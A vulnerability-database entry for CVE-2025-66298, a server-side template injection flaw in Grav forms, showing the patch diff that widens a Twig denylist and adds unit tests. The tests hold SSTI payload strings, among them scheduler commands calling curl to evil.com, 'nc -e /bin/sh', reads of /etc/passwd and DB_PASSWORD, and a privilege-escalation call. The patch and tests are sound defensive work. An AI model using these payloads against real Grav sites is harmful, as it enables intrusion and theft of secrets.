VYPR
High severityNVD Advisory· Published Dec 1, 2025· Updated Dec 2, 2025

Grav is vulnerable to Server-Side Template Injection (SSTI) via Forms

CVE-2025-66298

Description

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload to exploit a Server-Side Template (SST) vulnerability. Sensitive information may be contained in the configuration details. This vulnerability is fixed in 1.8.0-beta.27.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
getgrav/gravPackagist
< 1.8.0-beta.271.8.0-beta.27

Affected products

1

Patches

1
e37259527d9c

Merge branch 'fix/GHSA-662m-56v4-3r8f-GHSA-858q-77wx-hhx6-GHSA-8535-hvm8-2hmv-GHSA-gjc5-8cfh-653x-GHSA-52hh-vxfw-p6rg-ssti-sandbox' into 1.8

https://github.com/getgrav/gravAndy MillerNov 30, 2025via ghsa
2 files changed · +605 16
  • system/src/Grav/Common/Security.php+147 16 modified
    @@ -264,29 +264,160 @@ public static function getXssDefaults(): array
             ];
         }
     
    +    /** @var string|null Cached regex pattern for dangerous functions in Twig blocks */
    +    private static ?string $dangerousTwigFunctionsPattern = null;
    +
    +    /** @var string|null Cached regex pattern for dangerous properties */
    +    private static ?string $dangerousTwigPropertiesPattern = null;
    +
    +    /** @var string|null Cached regex pattern for dangerous function calls */
    +    private static ?string $dangerousFunctionCallsPattern = null;
    +
    +    /** @var string|null Cached regex pattern for string concatenation bypass */
    +    private static ?string $dangerousJoinPattern = null;
    +
    +    /**
    +     * Get compiled dangerous Twig patterns (cached for performance)
    +     *
    +     * @return array{functions: string, properties: string, calls: string, join: string}
    +     */
    +    private static function getDangerousTwigPatterns(): array
    +    {
    +        if (self::$dangerousTwigFunctionsPattern === null) {
    +            // Dangerous Twig functions and methods that should be blocked
    +            $bad_twig_functions = [
    +                // Twig internals
    +                'twig_array_map', 'twig_array_filter', 'call_user_func', 'call_user_func_array',
    +                'forward_static_call', 'forward_static_call_array',
    +                // Twig environment manipulation
    +                'registerUndefinedFunctionCallback', 'registerUndefinedFilterCallback',
    +                'undefined_functions', 'undefined_filters',
    +                // File operations
    +                'read_file', 'file_get_contents', 'file_put_contents', 'fopen', 'fread', 'fwrite',
    +                'fclose', 'readfile', 'file', 'fpassthru', 'fgetcsv', 'fputcsv', 'ftruncate',
    +                'fputs', 'fgets', 'fgetc', 'fflush', 'flock', 'glob', 'rename', 'copy', 'unlink',
    +                'rmdir', 'mkdir', 'symlink', 'link', 'chmod', 'chown', 'chgrp', 'touch', 'tempnam',
    +                'parse_ini_file', 'highlight_file', 'show_source',
    +                // Code execution
    +                'exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'proc_close',
    +                'proc_terminate', 'proc_nice', 'proc_get_status', 'pcntl_exec', 'pcntl_fork',
    +                'pcntl_signal', 'pcntl_alarm', 'pcntl_setpriority', 'eval', 'assert',
    +                'create_function', 'preg_replace', 'preg_replace_callback', 'ob_start',
    +                // Dynamic evaluation
    +                'evaluate_twig', 'evaluate',
    +                // Serialization
    +                'unserialize', 'serialize', 'var_export', 'token_get_all',
    +                // Network functions (SSRF)
    +                'curl_init', 'curl_exec', 'curl_multi_exec', 'fsockopen', 'pfsockopen',
    +                'socket_create', 'stream_socket_client', 'stream_socket_server',
    +                // Info disclosure
    +                'phpinfo', 'getenv', 'putenv', 'get_current_user', 'getmyuid', 'getmygid',
    +                'getmypid', 'get_cfg_var', 'ini_get', 'ini_set', 'ini_alter', 'ini_restore',
    +                'get_defined_vars', 'get_defined_functions', 'get_defined_constants',
    +                'get_loaded_extensions', 'get_extension_funcs', 'phpversion', 'php_uname',
    +                // Reflection
    +                'ReflectionClass', 'ReflectionFunction', 'ReflectionMethod',
    +                'ReflectionProperty', 'ReflectionObject',
    +                // Include/require
    +                'include', 'include_once', 'require', 'require_once',
    +                // Callback arrays
    +                'array_map', 'array_filter', 'array_reduce', 'array_walk', 'array_walk_recursive',
    +                'usort', 'uasort', 'uksort', 'iterator_apply',
    +                // Output manipulation
    +                'header', 'headers_sent', 'header_remove', 'http_response_code',
    +                // Mail
    +                'mail',
    +                // Misc dangerous
    +                'extract', 'parse_str', 'register_shutdown_function', 'register_tick_function',
    +                'set_error_handler', 'set_exception_handler', 'spl_autoload_register',
    +                'apache_child_terminate', 'posix_kill', 'posix_setpgid', 'posix_setsid',
    +                'posix_setuid', 'posix_setgid', 'posix_mkfifo', 'dl',
    +                // XML (XXE)
    +                'simplexml_load_file', 'simplexml_load_string', 'DOMDocument', 'XMLReader',
    +                // Database
    +                'mysqli_query', 'pg_query', 'sqlite_query',
    +            ];
    +
    +            // Dangerous property/method access patterns (regex patterns)
    +            $bad_twig_properties = [
    +                // Twig environment access
    +                'twig\.twig\b', 'grav\.twig\.twig\b', 'twig\.(?:get|add|set)(?:Function|Filter|Extension|Loader|Cache|Runtime)',
    +                'twig\.addRuntimeLoader',
    +                // Config modification
    +                'config\.set\s*\(', 'grav\.config\.set\s*\(', '\.safe_functions', '\.safe_filters',
    +                '\.undefined_functions', '\.undefined_filters', 'twig_vars\[', 'config\.join\s*\(',
    +                // Scheduler access
    +                'grav\.scheduler\b', 'scheduler\.(?:addCommand|save|run|add|remove)\s*\(?',
    +                // Core escaper
    +                'core\.setEscaper', 'setEscaper\s*\(',
    +                // Context access
    +                '_context\b', '_self\b', '_charset\b',
    +                // User modification
    +                'grav\.user\.(?:update|save)\s*\(', 'grav\.accounts\.user\s*\([^)]*\)\.(?:update|save)',
    +                '\.(?:set|setNested)Property\s*\(',
    +                // Flex objects
    +                '(?:get)?[Ff]lexDirectory\s*\(',
    +                // Locator write mode
    +                'grav\.locator\.findResource\s*\([^)]*,\s*true',
    +                // Plugin/theme manipulation
    +                'grav\.(?:plugins|themes)\.get\s*\(',
    +                // Session manipulation
    +                'session\.(?:set|setFlash)\s*\(',
    +                // Cache manipulation
    +                'cache\.(?:delete|clear|purge)',
    +                // Backups and GPM
    +                'grav\.(?:backups|gpm)\b',
    +            ];
    +
    +            // Build combined patterns (compile once, use many times)
    +            $quotedFunctions = array_map(fn($f) => preg_quote($f, '/'), $bad_twig_functions);
    +            $functionsPattern = implode('|', $quotedFunctions);
    +
    +            // Pattern for functions in Twig blocks
    +            self::$dangerousTwigFunctionsPattern = '/(({{\s*|{%\s*)[^}]*?(' . $functionsPattern . ')[^}]*?(\s*}}|\s*%}))/i';
    +
    +            // Pattern for properties (already regex patterns, just combine)
    +            $propertiesPattern = implode('|', $bad_twig_properties);
    +            self::$dangerousTwigPropertiesPattern = '/(({{\s*|{%\s*)[^}]*?(' . $propertiesPattern . ')[^}]*?(\s*}}|\s*%}))/i';
    +
    +            // Pattern for function calls outside Twig blocks (for nested eval)
    +            self::$dangerousFunctionCallsPattern = '/\b(' . $functionsPattern . ')\s*\(/i';
    +
    +            // Pattern for string concatenation bypass attempts
    +            $suspiciousFragments = ['safe_func', 'safe_filt', 'undefined_', 'scheduler', 'registerUndefined', '_context', 'setEscaper'];
    +            $fragmentsPattern = implode('|', array_map(fn($f) => preg_quote($f, '/'), $suspiciousFragments));
    +            self::$dangerousJoinPattern = '/(({{\s*|{%\s*)[^}]*?\[[^\]]*[\'"](' . $fragmentsPattern . ')[\'"][^\]]*\]\s*\|\s*join[^}]*?(\s*}}|\s*%}))/i';
    +        }
    +
    +        return [
    +            'functions' => self::$dangerousTwigFunctionsPattern,
    +            'properties' => self::$dangerousTwigPropertiesPattern,
    +            'calls' => self::$dangerousFunctionCallsPattern,
    +            'join' => self::$dangerousJoinPattern,
    +        ];
    +    }
    +
         public static function cleanDangerousTwig(string $string): string
         {
    -        if ($string === '') {
    +        // Early exit for empty strings or strings without Twig
    +        if ($string === '' || (strpos($string, '{{') === false && strpos($string, '{%') === false)) {
                 return $string;
             }
     
    -        $bad_twig = [
    -            'twig_array_map',
    -            'twig_array_filter',
    -            'call_user_func',
    -            'registerUndefinedFunctionCallback',
    -            'undefined_functions',
    -            'twig.getFunction',
    -            'core.setEscaper',
    -            'twig.safe_functions',
    -            'read_file',
    -        ];
    +        // Get cached compiled patterns
    +        $patterns = self::getDangerousTwigPatterns();
     
    -        $string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
    +        // Pass 1: Block dangerous functions in Twig blocks
    +        $string = preg_replace($patterns['functions'], '{# BLOCKED: $1 #}', $string);
     
    -        foreach ($bad_twig as $func) {
    -            $string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
    -        }
    +        // Pass 2: Block dangerous property access patterns
    +        $string = preg_replace($patterns['properties'], '{# BLOCKED: $1 #}', $string);
    +
    +        // Pass 3: Block dangerous function calls (for nested eval bypass)
    +        $string = preg_replace($patterns['calls'], '{# BLOCKED: $0 #}', $string);
    +
    +        // Pass 4: Block string concatenation bypass attempts
    +        $string = preg_replace($patterns['join'], '{# BLOCKED: $1 #}', $string);
     
             return $string;
         }
    
  • tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php+458 0 added
    @@ -0,0 +1,458 @@
    +<?php
    +
    +use Grav\Common\Security;
    +
    +/**
    + * Class CleanDangerousTwigTest
    + *
    + * Tests for Security::cleanDangerousTwig() method.
    + * Covers SSTI sandbox fixes: GHSA-662m, GHSA-858q, GHSA-8535, GHSA-gjc5, GHSA-52hh
    + *
    + * Naming convention: test{Method}_{GHSA_ID}_{description}
    + */
    +class CleanDangerousTwigTest extends \PHPUnit\Framework\TestCase
    +{
    +    /**
    +     * Reset static cache before each test to ensure clean state
    +     */
    +    protected function setUp(): void
    +    {
    +        parent::setUp();
    +        // Reset the static pattern cache using reflection
    +        $reflection = new ReflectionClass(Security::class);
    +
    +        $properties = [
    +            'dangerousTwigFunctionsPattern',
    +            'dangerousTwigPropertiesPattern',
    +            'dangerousFunctionCallsPattern',
    +            'dangerousJoinPattern'
    +        ];
    +
    +        foreach ($properties as $prop) {
    +            if ($reflection->hasProperty($prop)) {
    +                $property = $reflection->getProperty($prop);
    +                $property->setAccessible(true);
    +                $property->setValue(null, null);
    +            }
    +        }
    +    }
    +
    +    // =========================================================================
    +    // GHSA-662m-56v4-3r8f: SSTI sandbox bypass via nested evaluate_twig
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerGHSA662m_NestedEvaluateTwig
    +     */
    +    public function testCleanDangerousTwig_GHSA662m_BlocksNestedEvaluateTwig(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerGHSA662m_NestedEvaluateTwig(): array
    +    {
    +        return [
    +            ['{{ evaluate_twig("test") }}', 'Direct evaluate_twig call'],
    +            ['{% set x = evaluate_twig(user_input) %}', 'evaluate_twig in set block'],
    +            ['{{ evaluate("test") }}', 'evaluate function'],
    +            ['{{ evaluate_twig(form.value("name")) }}', 'evaluate_twig with form value'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // GHSA-858q-77wx-hhx6: Privilege escalation via grav.user/scheduler
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerGHSA858q_PrivilegeEscalation
    +     */
    +    public function testCleanDangerousTwig_GHSA858q_BlocksPrivilegeEscalation(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerGHSA858q_PrivilegeEscalation(): array
    +    {
    +        return [
    +            // User modification attacks
    +            ["{{ grav.user.update({'access':{'admin':{'super':true}}}) }}", 'grav.user.update privilege escalation'],
    +            ['{{ grav.user.save() }}', 'grav.user.save call'],
    +
    +            // Scheduler RCE attacks
    +            ['{{ grav.scheduler.addCommand("curl", ["http://evil.com"]) }}', 'scheduler.addCommand'],
    +            ['{{ grav.scheduler.run() }}', 'scheduler.run'],
    +            ['{{ grav.scheduler.save() }}', 'scheduler.save'],
    +            ['{% set s = grav.scheduler %}', 'Direct scheduler access'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // GHSA-8535-hvm8-2hmv: Context leak via _context access
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerGHSA8535_ContextLeak
    +     */
    +    public function testCleanDangerousTwig_GHSA8535_BlocksContextLeak(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerGHSA8535_ContextLeak(): array
    +    {
    +        return [
    +            ['{{ _context }}', 'Direct _context access'],
    +            ['{{ _context|json_encode }}', '_context with filter'],
    +            ['{% for key, value in _context %}{{ key }}{% endfor %}', '_context iteration'],
    +            ['{{ _self }}', '_self access'],
    +            ['{{ _charset }}', '_charset access'],
    +            ['{{ dump(_context) }}', 'dump with _context'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // GHSA-gjc5-8cfh-653x: Sandbox bypass via config.set
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerGHSAgjc5_ConfigBypass
    +     */
    +    public function testCleanDangerousTwig_GHSAgjc5_BlocksConfigBypass(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerGHSAgjc5_ConfigBypass(): array
    +    {
    +        return [
    +            ["{{ grav.config.set('system.twig.safe_functions', ['system']) }}", 'grav.config.set safe_functions'],
    +            ["{{ grav.twig.twig_vars['config'] }}", 'twig_vars config access'],
    +            ['{{ twig_vars["config"] }}', 'Direct twig_vars access'],
    +            ["{{ something.safe_functions }}", '.safe_functions access'],
    +            ["{{ something.safe_filters }}", '.safe_filters access'],
    +            ["{{ x.undefined_functions }}", '.undefined_functions access'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // GHSA-52hh-vxfw-p6rg: CVE-2024-28116 bypass via string concatenation
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerGHSA52hh_StringConcatBypass
    +     */
    +    public function testCleanDangerousTwig_GHSA52hh_BlocksStringConcatBypass(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerGHSA52hh_StringConcatBypass(): array
    +    {
    +        // These test the specific suspicious fragments we check for in join() operations
    +        return [
    +            ["{{ ['safe_func', 'tions']|join('') }}", 'join to construct safe_functions'],
    +            ["{{ ['safe_filt', 'ers']|join }}", 'join to construct safe_filters'],
    +            ["{{ ['_context', 'var']|join('') }}", 'join with _context fragment'],
    +            ["{{ ['scheduler', '.run']|join('') }}", 'join with scheduler fragment'],
    +            ["{{ ['registerUndefined', 'Callback']|join('') }}", 'join with registerUndefined fragment'],
    +            ["{{ ['undefined_', 'functions']|join('') }}", 'join with undefined_ fragment'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Dangerous PHP Functions (Code Execution)
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerDangerousCodeExecution
    +     */
    +    public function testCleanDangerousTwig_BlocksCodeExecution(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerDangerousCodeExecution(): array
    +    {
    +        return [
    +            ['{{ exec("whoami") }}', 'exec function'],
    +            ['{{ shell_exec("ls") }}', 'shell_exec function'],
    +            ['{{ system("id") }}', 'system function'],
    +            ['{{ passthru("cat /etc/passwd") }}', 'passthru function'],
    +            ['{{ popen("nc -e /bin/sh", "r") }}', 'popen function'],
    +            ['{{ proc_open("sh", [], $pipes) }}', 'proc_open function'],
    +            ['{{ pcntl_exec("/bin/sh") }}', 'pcntl_exec function'],
    +            ['{{ eval("phpinfo();") }}', 'eval function'],
    +            ['{{ assert("system(\'id\')") }}', 'assert function'],
    +            ['{{ create_function("", "system(\'id\');") }}', 'create_function'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Dangerous PHP Functions (File Operations)
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerDangerousFileOperations
    +     */
    +    public function testCleanDangerousTwig_BlocksFileOperations(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerDangerousFileOperations(): array
    +    {
    +        return [
    +            ['{{ file_get_contents("/etc/passwd") }}', 'file_get_contents'],
    +            ['{{ file_put_contents("/tmp/x", "data") }}', 'file_put_contents'],
    +            ['{{ fopen("/etc/passwd", "r") }}', 'fopen'],
    +            ['{{ readfile("/etc/passwd") }}', 'readfile'],
    +            ['{{ unlink("/important/file") }}', 'unlink'],
    +            ['{{ rmdir("/important/dir") }}', 'rmdir'],
    +            ['{{ mkdir("/tmp/evil") }}', 'mkdir'],
    +            ['{{ chmod("/tmp/file", 0777) }}', 'chmod'],
    +            ['{{ copy("/etc/passwd", "/tmp/passwd") }}', 'copy'],
    +            ['{{ rename("/tmp/a", "/tmp/b") }}', 'rename'],
    +            ['{{ symlink("/etc/passwd", "/tmp/link") }}', 'symlink'],
    +            ['{{ glob("/etc/*") }}', 'glob'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Dangerous PHP Functions (Network/SSRF)
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerDangerousNetwork
    +     */
    +    public function testCleanDangerousTwig_BlocksNetworkFunctions(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerDangerousNetwork(): array
    +    {
    +        return [
    +            ['{{ curl_init("http://evil.com") }}', 'curl_init'],
    +            ['{{ curl_exec($ch) }}', 'curl_exec'],
    +            ['{{ fsockopen("evil.com", 80) }}', 'fsockopen'],
    +            ['{{ pfsockopen("evil.com", 80) }}', 'pfsockopen'],
    +            ['{{ socket_create(AF_INET, SOCK_STREAM, 0) }}', 'socket_create'],
    +            ['{{ stream_socket_client("tcp://evil.com:80") }}', 'stream_socket_client'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Dangerous PHP Functions (Information Disclosure)
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerInfoDisclosure
    +     */
    +    public function testCleanDangerousTwig_BlocksInfoDisclosure(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerInfoDisclosure(): array
    +    {
    +        return [
    +            ['{{ phpinfo() }}', 'phpinfo'],
    +            ['{{ getenv("DB_PASSWORD") }}', 'getenv'],
    +            ['{{ get_defined_vars() }}', 'get_defined_vars'],
    +            ['{{ get_defined_functions() }}', 'get_defined_functions'],
    +            ['{{ ini_get("open_basedir") }}', 'ini_get'],
    +            ['{{ php_uname() }}', 'php_uname'],
    +            ['{{ phpversion() }}', 'phpversion'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Twig Environment Manipulation
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerTwigEnvironmentManipulation
    +     */
    +    public function testCleanDangerousTwig_BlocksTwigEnvironmentManipulation(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerTwigEnvironmentManipulation(): array
    +    {
    +        return [
    +            ['{{ grav.twig.twig.registerUndefinedFunctionCallback("system") }}', 'registerUndefinedFunctionCallback'],
    +            ['{{ twig.twig }}', 'Direct twig.twig access'],
    +            ['{{ grav.twig.twig }}', 'grav.twig.twig access'],
    +            ['{{ twig.getFunction("x") }}', 'twig.getFunction'],
    +            ['{{ twig.addFunction(func) }}', 'twig.addFunction'],
    +            ['{{ twig.setLoader(loader) }}', 'twig.setLoader'],
    +            ['{{ core.setEscaper("html", callback) }}', 'core.setEscaper'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Serialization (Object Injection)
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerSerialization
    +     */
    +    public function testCleanDangerousTwig_BlocksSerialization(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerSerialization(): array
    +    {
    +        return [
    +            ['{{ unserialize(user_input) }}', 'unserialize'],
    +            ['{{ serialize(object) }}', 'serialize'],
    +            ['{{ var_export(data, true) }}', 'var_export'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Callback Functions
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerCallbackFunctions
    +     */
    +    public function testCleanDangerousTwig_BlocksCallbackFunctions(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerCallbackFunctions(): array
    +    {
    +        return [
    +            ['{{ call_user_func("system", "id") }}', 'call_user_func'],
    +            ['{{ call_user_func_array("system", ["id"]) }}', 'call_user_func_array'],
    +            ['{{ array_map("system", ["id"]) }}', 'array_map with callback'],
    +            ['{{ array_filter(arr, "system") }}', 'array_filter with callback'],
    +            ['{{ usort(arr, "system") }}', 'usort with callback'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Grav-specific Dangerous Access
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerGravDangerousAccess
    +     */
    +    public function testCleanDangerousTwig_BlocksGravDangerousAccess(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
    +    }
    +
    +    public static function providerGravDangerousAccess(): array
    +    {
    +        return [
    +            ['{{ grav.backups }}', 'grav.backups access'],
    +            ['{{ grav.gpm }}', 'grav.gpm access'],
    +            ['{{ grav.plugins.get("admin") }}', 'grav.plugins.get'],
    +            ['{{ grav.themes.get("quark") }}', 'grav.themes.get'],
    +            ['{{ session.set("admin", true) }}', 'session.set'],
    +            ['{{ cache.clear() }}', 'cache.clear'],
    +            ['{{ cache.delete("key") }}', 'cache.delete'],
    +            ['{{ obj.setProperty("key", "value") }}', 'setProperty'],
    +            ['{{ obj.setNestedProperty("a.b", "c") }}', 'setNestedProperty'],
    +            ['{{ grav.locator.findResource("user://", true) }}', 'findResource write mode'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Performance: Early Exit Tests
    +    // =========================================================================
    +
    +    public function testCleanDangerousTwig_EarlyExitEmptyString(): void
    +    {
    +        $result = Security::cleanDangerousTwig('');
    +        self::assertSame('', $result);
    +    }
    +
    +    public function testCleanDangerousTwig_EarlyExitNoTwigBlocks(): void
    +    {
    +        $plainText = 'This is just plain text without any Twig syntax.';
    +        $result = Security::cleanDangerousTwig($plainText);
    +        self::assertSame($plainText, $result, 'Plain text should pass through unchanged');
    +    }
    +
    +    public function testCleanDangerousTwig_EarlyExitHtmlOnly(): void
    +    {
    +        $html = '<div class="container"><h1>Hello World</h1><p>Some content here.</p></div>';
    +        $result = Security::cleanDangerousTwig($html);
    +        self::assertSame($html, $result, 'HTML without Twig should pass through unchanged');
    +    }
    +
    +    // =========================================================================
    +    // Safe Patterns (Should NOT be blocked)
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerSafePatterns
    +     */
    +    public function testCleanDangerousTwig_AllowsSafePatterns(string $input, string $description): void
    +    {
    +        $result = Security::cleanDangerousTwig($input);
    +        self::assertStringNotContainsString('{# BLOCKED:', $result, "Should NOT block: $description");
    +    }
    +
    +    public static function providerSafePatterns(): array
    +    {
    +        return [
    +            ['{{ page.title }}', 'Page title access'],
    +            ['{{ page.content }}', 'Page content access'],
    +            ['{{ grav.config.get("site.title") }}', 'Config get (read only)'],
    +            ['{{ uri.path }}', 'URI path'],
    +            ['{% for item in collection %}{{ item.title }}{% endfor %}', 'Normal loop'],
    +            ['{{ "hello"|upper }}', 'String filter'],
    +            ['{{ date("Y-m-d") }}', 'Date function'],
    +            ['{{ dump(page) }}', 'Dump for debugging'],
    +            ['{% if page.visible %}show{% endif %}', 'Conditional'],
    +            ['{{ page.media.images }}', 'Media access'],
    +            ['{{ grav.version }}', 'Grav version'],
    +            ['{{ page.route }}', 'Page route'],
    +        ];
    +    }
    +
    +    // =========================================================================
    +    // Pattern Caching Tests
    +    // =========================================================================
    +
    +    public function testCleanDangerousTwig_PatternCaching(): void
    +    {
    +        // First call should build patterns
    +        $result1 = Security::cleanDangerousTwig('{{ exec("test") }}');
    +
    +        // Second call should use cached patterns
    +        $result2 = Security::cleanDangerousTwig('{{ system("test") }}');
    +
    +        // Both should be blocked
    +        self::assertStringContainsString('{# BLOCKED:', $result1);
    +        self::assertStringContainsString('{# BLOCKED:', $result2);
    +
    +        // Verify patterns are cached using reflection
    +        $reflection = new ReflectionClass(Security::class);
    +        $property = $reflection->getProperty('dangerousTwigFunctionsPattern');
    +        $property->setAccessible(true);
    +        $cachedPattern = $property->getValue();
    +
    +        self::assertNotNull($cachedPattern, 'Pattern should be cached after first call');
    +    }
    +}
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.